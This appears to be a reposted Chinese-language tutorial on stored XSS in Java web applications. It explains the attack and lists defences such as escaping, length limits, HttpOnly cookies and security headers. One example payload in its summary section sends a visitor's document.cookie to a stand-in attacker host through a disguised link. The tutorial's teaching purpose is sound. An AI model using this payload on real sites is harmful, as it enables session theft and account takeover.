Java Web開發 - 持久型/存儲型XSS漏洞


Java Web開發 - 持久型/存儲型XSS漏洞

1、什么是XSS漏洞攻擊?

  XSS是跨站腳本攻擊(Cross Site Scripting)的簡稱,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是為了跟層疊樣式表(Cascading Style Sheets,CSS)區別。

2、XSS漏洞攻擊的原理

  惡意攻擊者往web頁面中插入惡意HTML代碼,當用戶瀏覽該web頁面時,嵌入到該web頁面的惡意HTML代碼就會被執行,從而達到惡意攻擊用戶的特殊目的。

  XSS漏洞又分為兩類,一類是持久型/存儲型XSS,另一類是反射型XSS;

  1)持久型/存儲型XSS:嵌入到web頁面的惡意HTML會被存儲到應用服務器端,簡而言之就是會被存儲到數據庫,等用戶在打開頁面時,會繼續執行惡意代碼,能夠持續的攻擊用戶;

  2)反射型XSS:反射型XSS是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的;

  本次主要說的是持久型/存儲型XSS漏洞攻擊

3、下面是一個示例

  1)這個頁面時個簡單的添加頁面

  2)保存成功之后,可以去查看下數據庫,備注字段中的JavaScript代碼已經存儲到數據庫中了,如下:

  3)在打開用戶查詢列表的頁面(只要頁面中包含該用戶的備注字段都可以),就會出現如下的信息,代表我們攻擊成功了。

  總結:

    到這里,可能有人會問,這個能有什么用啊?試想,如果把上面的“備注”字段的值修改成如下的代碼,會有什么結果?

    <a id='attacker'>點擊就送百元現金</a>
    <script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>

   如果是這些惡意代碼,那么攻擊者就能獲取到這個用戶的cookie信息,進而以該用戶角色登錄系統了。

4、我們如何來防止這種XSS攻擊呢?我總結了以下幾點,大家可以參考下

  1)在頁面上添加用戶輸入長度限制;

  2)在服務端(數據庫)添加長度限制;

  3)過濾用戶輸入的特殊字符串,對其進行轉義,如下

    示例字符串"<script>是不是document.getElementById('a').href=''+document.cookie;</script>",下面是轉義之后的字符串
      StringEscapeUtils - &lt;script&gt;&#26159;&#19981;&#26159;document.getElementById('a').href=''+document.cookie;&lt;/script&gt;
      HtmlUtils - &lt;script&gt;是不是document.getElementById(&#39;a&#39;).href=&#39;&#39;+document.cookie;&lt;/script&gt;

  4)http相關的設置

   A)cookie.setHttpOnly(true);-保護用戶cookie

   B)res.setHeader("X-Frame-Options", "SAMEORIGIN");X-Frame-Options對應的屬性值含義

      DENY:這個頁面不允許被以frame的方式加載
      SAMEORIGIN:這個頁面只允許同源頁面加載
      <uri>:這個頁面只能被特定的域加載
    C)res.setHeader("X-xss-protection", "1;mode=block");
    D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止瀏覽器進行content-type 嗅探。告訴瀏覽器相信此服務器下發的資源的類型,防止類    型嗅探攻擊。

  

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM